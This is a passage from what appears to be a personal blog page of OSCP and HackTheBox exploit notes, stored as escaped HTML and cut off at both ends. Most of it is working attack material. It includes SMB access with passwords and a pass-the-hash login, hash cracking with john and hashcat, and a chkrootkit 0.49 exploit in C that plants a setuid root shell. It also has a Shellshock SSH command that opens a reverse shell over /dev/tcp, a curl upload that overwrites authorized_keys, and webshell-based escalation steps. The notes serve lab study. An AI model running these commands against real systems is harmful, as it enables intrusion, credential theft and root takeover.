IP/hostname&amp;gt; -u &amp;lt;username&amp;gt; -p &amp;lt;password&amp;gt;&lt;/p&gt;&#10;&lt;p&gt;smbmap -H 192.168.1.9&lt;/p&gt;&#10;&lt;p&gt;smbmap -H 192.168.1.9 -r anonymous&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbmap -H 10.10.10.193 -u tlavel -p &amp;#39;TfWScpg3aEEi&amp;#39; -r -q&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="11smbclient"&gt;&lt;a href="#11smbclient" class="header-anchor"&gt;&lt;/a&gt;11.smbclient&#10;&lt;/h3&gt;&lt;p&gt;A client program for accessing shared resources. Use &amp;ndash;help to see the detailed commands.&lt;/p&gt;&#10;&lt;p&gt;smbclient //192.168.1.9/secured -U divid&lt;/p&gt;&#10;&lt;p&gt;smbclient -N -L //10.10.10.134/&lt;/p&gt;&#10;&lt;p&gt;smbclient -N //10.10.10.134/Backups&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbclient -L //10.10.132.140 -U &amp;#34;oscp.exam/celia.almeda%e728ecbadfb02f51ce8eed753f3ff3fd&amp;#34; --pw-nt-hash&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;recurse&#9;ON&#9;&#9;&#9;#Enable recursion; mget and mput will traverse directories recursively&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;prompt OFF&#9;&#9;&#9;#Disable prompts so downloads no longer require y/n confirmation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mget *&#9;&#9;&#9;&#9;#Download files in bulk; * is a wildcard that matches all filenames during recursive traversal&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;get xxxxx ; Download a file&#10;&lt;strong&gt;put xxxxx&lt;/strong&gt; ; Upload a file&#10;mget * ; Download all files in the current directory&#10;&lt;strong&gt;tar c test.tar notes/&lt;/strong&gt; ; Archive all files under the notes directory&lt;/p&gt;&#10;&lt;h3 id="12steghide"&gt;&lt;a href="#12steghide" class="header-anchor"&gt;&lt;/a&gt;12.steghide&#10;&lt;/h3&gt;&lt;p&gt;A steganography tool. Use &amp;ndash;help to see the detailed commands you need.&lt;/p&gt;&#10;&lt;p&gt;steghide info plainsight.jpg&lt;/p&gt;&#10;&lt;p&gt;steghide extract -sf irked.jpg -p UPupDOWNdownLRlrBAbaSSss&lt;/p&gt;&#10;&lt;h3 id="13ffuf"&gt;&lt;a href="#13ffuf" class="header-anchor"&gt;&lt;/a&gt;13.ffuf&#10;&lt;/h3&gt;&lt;p&gt;A fuzzing tool. See help or find a blog post for details.&lt;/p&gt;&#10;&lt;p&gt;ffuf -u -c http://192.168.1.9/test.php?FUZZ=/etc/passwd -w /usr/share/dirb/wordlists/common.txt&lt;/p&gt;&#10;&lt;p&gt;ffuf -u http://10.10.10.84/browse.php?file=FUZZ -w /usr/share/dirb/wordlists/common.txt -c -fs 300-400&lt;/p&gt;&#10;&lt;p&gt;wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u &lt;a class="link" href="http://10.10.10.197" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.197&lt;/a&gt; -H &amp;ldquo;Host: FUZZ.sneakycorp.htb&amp;rdquo; &amp;ndash;hh 185&lt;/p&gt;&#10;&lt;p&gt;ffuf -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u &lt;a class="link" href="http://10.10.10.197" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.197&lt;/a&gt; -H &amp;ldquo;HOST: FUZZ.sneakycorp.htb&amp;rdquo; -fs 185&lt;/p&gt;&#10;&lt;h3 id="14privilege-escalation-by-modifying-a-file"&gt;&lt;a href="#14privilege-escalation-by-modifying-a-file" class="header-anchor"&gt;&lt;/a&gt;14.Privilege Escalation by Modifying a File&#10;&lt;/h3&gt;&lt;p&gt;If sudo lets you execute a root-owned file, change it to the format below to escalate privileges directly.&lt;/p&gt;&#10;&lt;p&gt;#!/bin/bash&#10;bash -ip&lt;/p&gt;&#10;&lt;h3 id="15knock"&gt;&lt;a href="#15knock" class="header-anchor"&gt;&lt;/a&gt;15.knock&#10;&lt;/h3&gt;&lt;p&gt;I&amp;rsquo;ve collected two port-knocking methods.&lt;/p&gt;&#10;&lt;p&gt;The image below shows an example port-knocking configuration.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0001.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;knock 192.168.1.5 33 44 55&lt;/p&gt;&#10;&lt;p&gt;nmap -Pn &amp;ndash;host-timeout 201 &amp;ndash;max-retries 0 -p 159 192.168.1.5&lt;/p&gt;&#10;&lt;h3 id="16brute-forcing-an-id_rsa-private-key"&gt;&lt;a href="#16brute-forcing-an-id_rsa-private-key" class="header-anchor"&gt;&lt;/a&gt;16.Brute-forcing an id_rsa Private Key&#10;&lt;/h3&gt;&lt;p&gt;I ran into this situation in a lab today, so I went and learned how to handle it.&lt;/p&gt;&#10;&lt;p&gt;cd /usr/share/john&#10;Use the ssh2john.py file in this directory to convert the format.&#10;./ssh2john.py ~/id_rsa &amp;gt; ~/hash converts id_rsa into content that john can recognize.&#10;Start brute-forcing:&#10;john hash &amp;ndash;wordlist=/usr/share/wordlists/rockyou.txt&lt;/p&gt;&#10;&lt;p&gt;john &amp;ndash;format=md5crypt &amp;ndash;wordlist=/usr/share/wordlists/rockyou.txt ./temp_passwd # Brute-force the hash as md5crypt, which is type 1&lt;/p&gt;&#10;&lt;p&gt;john &amp;ndash;format=NT &amp;ndash;wordlist=/usr/share/wordlists/rockyou.txt hashes.txt&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 1000 hashes.txt --show&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Identify the corresponding hash format&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat --help | grep -i &amp;#34;Kerberos&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="17newgrp"&gt;&lt;a href="#17newgrp" class="header-anchor"&gt;&lt;/a&gt;17.newgrp&#10;&lt;/h3&gt;&lt;p&gt;newgrp is a Linux command for switching user groups. It lets a user temporarily switch to another group so they can run commands or access specific files as that group.&lt;/p&gt;&#10;&lt;p&gt;newgrp&lt;/p&gt;&#10;&lt;h3 id="18building-a-file-upload-environment"&gt;&lt;a href="#18building-a-file-upload-environment" class="header-anchor"&gt;&lt;/a&gt;18.Building a File-Upload Environment&#10;&lt;/h3&gt;&lt;p&gt;This creates an environment for uploading files, so you do not have to construct the request packet yourself. Just find the endpoint and upload through it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;form&lt;/span&gt; &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;post&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;action&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;http://192.168.1.5/themes/dashboard/assets/plugins/jquery-file-upload/server/php/&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;enctype&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;multipart/form-data&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;file&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;files[]&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;submit&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;send&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;form&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://192.168.225.249:33414/file-upload -F &amp;#34;file=@/home/kali/hackthebox/ft.txt&amp;#34; -v -X POST -H &amp;#34;Content-Type: multipart/form-data&amp;#34; -F filename=&amp;#34;/tmp/authorized_keys&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="19chkrootkit-unconventional-privilege-escalation"&gt;&lt;a href="#19chkrootkit-unconventional-privilege-escalation" class="header-anchor"&gt;&lt;/a&gt;19.chkrootkit (Unconventional Privilege Escalation)&#10;&lt;/h3&gt;&lt;p&gt;Details: &lt;a class="link" href="https://zhuanlan.zhihu.com/p/26357609" target="_blank" rel="noopener"&#10; &gt;Research on Exploiting and Preventing the Chkrootkit 0.49 Local Privilege-Escalation Vulnerability - Zhihu&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Find the chkrootkit directory. It usually contains a README where you can check the version.&lt;/p&gt;&#10;&lt;p&gt;It is usually under /etc/chkrootkit.&lt;/p&gt;&#10;&lt;p&gt;Or, even better, use this command:&lt;/p&gt;&#10;&lt;p&gt;./chkrootkit -V If it is 0.49, you can escalate privileges using the method above.&lt;/p&gt;&#10;&lt;p&gt;The exact process is as follows.&lt;/p&gt;&#10;&lt;p&gt;Save the file as updata.c and download it to the /tmp directory on the target machine.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;chown root:root /tmp/update&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;chmod 4755 /tmp/update&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;setuid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;setgid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;execl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;/bin/sh&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;sh&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;gcc -o update update.c # Compile it&lt;/p&gt;&#10;&lt;p&gt;Once compilation finishes, enter the chkrootkit directory and run chkrootkit once: ./chkrootkit&lt;/p&gt;&#10;&lt;p&gt;You will find that /tmp/update now has root permissions.&lt;/p&gt;&#10;&lt;p&gt;Return to the tmp directory and run ./updata to obtain root privileges.&lt;/p&gt;&#10;&lt;h3 id="20checking-the-system-version-and-kernel"&gt;&lt;a href="#20checking-the-system-version-and-kernel" class="header-anchor"&gt;&lt;/a&gt;20.Checking the System Version and Kernel&#10;&lt;/h3&gt;&lt;p&gt;uname -r&lt;/p&gt;&#10;&lt;p&gt;cat /etc/*-release&lt;/p&gt;&#10;&lt;p&gt;lsb_release -a&lt;/p&gt;&#10;&lt;h3 id="21dirty-cow-linux-local-privilege-escalation-vulnerability-cve-2016-5195"&gt;&lt;a href="#21dirty-cow-linux-local-privilege-escalation-vulnerability-cve-2016-5195" class="header-anchor"&gt;&lt;/a&gt;21.Dirty COW Linux Local Privilege-Escalation Vulnerability (CVE-2016-5195)&#10;&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679" target="_blank" rel="noopener"&#10; &gt;https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Affected versions:&lt;/p&gt;&#10;&lt;p&gt;Centos7 /RHEL7 3.10.0-327.36.3.el7&#10;Cetnos6/RHEL6 2.6.32-642.6.2.el6&#10;Ubuntu 16.10 4.8.0-26.28&#10;Ubuntu 16.04 4.4.0-45.66&#10;Ubuntu 14.04 3.13.0-100.147&#10;Debian 8 3.16.36-1+deb8u2&#10;Debian 7 3.2.82-1&lt;/p&gt;&#10;&lt;h3 id="22apport-ubuntu-140414101504---race-condition-privilege-escalation-vulnerability"&gt;&lt;a href="#22apport-ubuntu-140414101504---race-condition-privilege-escalation-vulnerability" class="header-anchor"&gt;&lt;/a&gt;22.Apport (Ubuntu 14.04/14.10/15.04) - Race-Condition Privilege-Escalation Vulnerability&#10;&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://www.exploit-db.com/exploits/37088" target="_blank" rel="noopener"&#10; &gt;Apport (Ubuntu 14.04/14.10/15.04) - Race Condition Privilege Escalation - Linux local Exploit&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I never expected this privilege-escalation exploit to run. This type of exp is not common for me, so I assumed it would not be very useful. It does work, though, so I&amp;rsquo;m noting it down for now.&lt;/p&gt;&#10;&lt;h3 id="23hexchatirc"&gt;&lt;a href="#23hexchatirc" class="header-anchor"&gt;&lt;/a&gt;23.hexchat(IRC)&#10;&lt;/h3&gt;&lt;p&gt;The default password for ngIRCd is &amp;rsquo; wealllikedebian &amp;lsquo;.&lt;/p&gt;&#10;&lt;h3 id="24smtp-user-enum"&gt;&lt;a href="#24smtp-user-enum" class="header-anchor"&gt;&lt;/a&gt;24.smtp-user-enum&#10;&lt;/h3&gt;&lt;p&gt;SMTP user enumeration. See help for detailed usage instructions.&lt;/p&gt;&#10;&lt;p&gt;smtp-user-enum -M VRFY -U ./test.txt -t 192.168.1.10&lt;/p&gt;&#10;&lt;h3 id="25shellshock"&gt;&lt;a href="#25shellshock" class="header-anchor"&gt;&lt;/a&gt;25.shellshock&#10;&lt;/h3&gt;&lt;p&gt;While working on a lab, I ran into a connection that dropped immediately after succeeding. I searched for ages but could not find a vulnerability tutorial for &amp;ldquo;executing a command during an SSH connection.&amp;rdquo; The only suggestion I found was to append &amp;ldquo;ls -al&amp;rdquo; to the connection command, but that did not work. I later found this vulnerability in a write-up.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://unix.stackexchange.com/questions/157477/how-can-shellshock-be-exploited-over-ssh" target="_blank" rel="noopener"&#10; &gt;bash - how can shellshock be exploited over SSH? - Unix &amp;amp; Linux Stack Exchange&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&amp;lsquo;() { :;}; command&amp;rsquo; # Append this when connecting; command is the command to execute&lt;/p&gt;&#10;&lt;p&gt;ssh -i noob &lt;a class="link" href="mailto:noob@192.168.1.5" &gt;noob@192.168.1.5&lt;/a&gt; -o PubkeyAcceptedKeyTypes=ssh-rsa &amp;ldquo;() { :;}; bash -c &amp;rsquo;exec bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.1.8/1111 &amp;lt;&amp;amp;1&amp;rsquo;&amp;rdquo;&lt;/p&gt;&#10;&lt;h3 id="26apache2conf-privilege-escalation"&gt;&lt;a href="#26apache2conf-privilege-escalation" class="header-anchor"&gt;&lt;/a&gt;26.apache2.conf Privilege Escalation&#10;&lt;/h3&gt;&lt;p&gt;The basic idea is to add a user and group to apache2.conf. After Apache restarts, the configuration takes effect. Place a webshell in /var/www/html beforehand; after the restart, trigger the webshell to get a reverse shell with the permissions of the user you added.&lt;/p&gt;&#10;&lt;p&gt;Root cannot start it by default, so this is for escalating to another user. You need permission to restart Apache and modify apache2.conf.&lt;/p&gt;&#10;&lt;p&gt;#User ${APACHE_RUN_USER}&#10;#Group ${APACHE_RUN_GROUP}&lt;/p&gt;&#10;&lt;p&gt;User test&lt;/p&gt;&#10;&lt;p&gt;Group test&lt;/p&gt;&#10;&lt;p&gt;The /etc/apache2/sites-enabled directory contains configuration files.&lt;/p&gt;&#10;&lt;h3 id="27netstat--tuln"&gt;&lt;a href="#27netstat--tuln" class="header-anchor"&gt;&lt;/a&gt;27.netstat -tuln&#10;&lt;/h3&gt;&lt;p&gt;Check which ports are in use. This command is simple and there is not much to it, but I&amp;rsquo;m noting it down anyway.&lt;/p&gt;&#10;&lt;p&gt;netstat -tuln&lt;/p&gt;&#10;&lt;p&gt;netstat -ano&lt;/p&gt;&#10;&lt;h3 id="28dig"&gt;&lt;a href="#28dig" class="header-anchor"&gt;&lt;/a&gt;28.dig&#10;&lt;/h3&gt;&lt;p&gt;To enumerate subdomains, put the domain after dig and the DNS server after @.&lt;/p&gt;&#10;&lt;p&gt;dig hackers.blackhat.local @192.168.2.177&lt;/p&gt;&#10;&lt;p&gt;dig @10.10.10.123 friendzoneportal.red AXFR&lt;/p&gt;&#10;&lt;p&gt;dnsenum fabricorp.local &amp;ndash;dnsserver 10.10.10.193&lt;/p&gt;&#10;&lt;p&gt;This command returns records for the entire DNS zone, including all A, AAAA, CNAME, and MX records, along with subdomain information.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dnstool.py -u &amp;#39;DOMAIN\user&amp;#39; -p &amp;#39;password&amp;#39; --record &amp;#39;*&amp;#39; --action query &amp;lt;dc_ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="29privilege-escalation-with-the-python-cap_sys_ptraceep-capability"&gt;&lt;a 